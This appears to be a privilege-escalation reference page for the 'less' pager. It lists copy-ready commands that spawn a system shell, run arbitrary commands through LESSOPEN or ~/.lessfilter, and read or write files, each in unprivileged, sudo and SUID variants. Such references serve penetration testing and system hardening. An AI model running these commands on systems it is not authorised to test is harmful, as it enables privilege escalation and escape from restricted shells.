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• Shell
• Command
• File write
• File read
• Inherit
• Shell
• File write
• File read

Shell

This executable can spawn an interactive system shell.

• Unprivileged

  This function can be performed by any unprivileged user.

  less /etc/hosts
  !/bin/sh

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  less /etc/hosts
  !/bin/sh

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  Remarks

  This executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.

  less /etc/hosts
  !/bin/sh

• Comment

  The optional reset command is needed to receive the echo back of the typed keystrokes.

  Unprivileged

  This function can be performed by any unprivileged user.

  LESSOPEN="/bin/sh -s 1>&0 2>&0 # %s" less /etc/hosts
  reset

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  LESSOPEN="/bin/sh -s 1>&0 2>&0 # %s" less /etc/hosts
  reset

• Unprivileged

  This function can be performed by any unprivileged user.

  VISUAL='/bin/sh -s --' less /etc/hosts
  v

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  VISUAL='/bin/sh -s --' less /etc/hosts
  v

Command

This executable can run non-interactive system commands.

• Unprivileged

  This function can be performed by any unprivileged user.

  cp /path/to/command ~/.lessfilter
  less /etc/hosts

• Unprivileged

  This function can be performed by any unprivileged user.

  LESSOPEN='/path/to/command # %s' less /etc/hosts

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  LESSOPEN='/path/to/command # %s' less /etc/hosts

File write

This executable can write data to local files.

• Unprivileged

  This function can be performed by any unprivileged user.

  echo DATA | less
  s/path/to/output-file
  q

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  echo DATA | less
  s/path/to/output-file
  q

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  echo DATA | less
  s/path/to/output-file
  q

File read

This executable can read data from local files.

• Unprivileged

  This function can be performed by any unprivileged user.

  less /path/to/input-file

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  less /path/to/input-file

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  less /path/to/input-file

• Comment

  This can be used to read another file, e.g., when invoked as a pager with some fixed content.

  Unprivileged

  This function can be performed by any unprivileged user.

  less /etc/hosts
  :e /path/to/input-file

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  less /etc/hosts
  :e /path/to/input-file

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  less /etc/hosts
  :e /path/to/input-file

• Comment

  This can be used to read another file.

  Unprivileged

  This function can be performed by any unprivileged user.

  LESSOPEN='echo /path/to/input-file # %s' less /etc/hosts

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  LESSOPEN='echo /path/to/input-file # %s' less /etc/hosts

Inherit

This executable can inherit functions from another.

• Unprivileged

  This function can be performed by any unprivileged user.

  less /etc/hosts
  v

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  less /etc/hosts
  v

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  less /etc/hosts
  v

  Functions

  Inherits from vi, thus possibly granting the following functions:

  • Shell
  • File write
  • File read

Source | History